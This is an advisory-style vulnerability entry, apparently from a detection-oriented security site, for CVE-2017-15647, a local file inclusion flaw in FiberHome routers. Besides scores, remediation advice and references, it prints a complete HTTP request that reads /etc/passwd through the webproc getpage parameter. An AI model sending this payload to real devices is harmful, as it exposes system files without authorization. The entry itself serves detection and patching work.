🔙 목록으로 돌아가기

CVE-2017-15647: FiberHome Routers - Local File Inclusion

TitleFiberHome Routers - Local File Inclusion
Authordaffainfo
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files on the system, potentially leading to unauthorized access or information disclosure.
RemediationApply the latest firmware update provided by FiberHome to fix the LFI vulnerability.
CVSS Score7.5
EPSS Score0.38911
CVE IDCVE-2017-15647
CWE IDCWE-22
Tags cve cve2017 lfi router edb fiberhome vuln

🔍 Vulnerability Description

FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.

🌐 HTTP Request

GET /cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-15647.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-15647.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A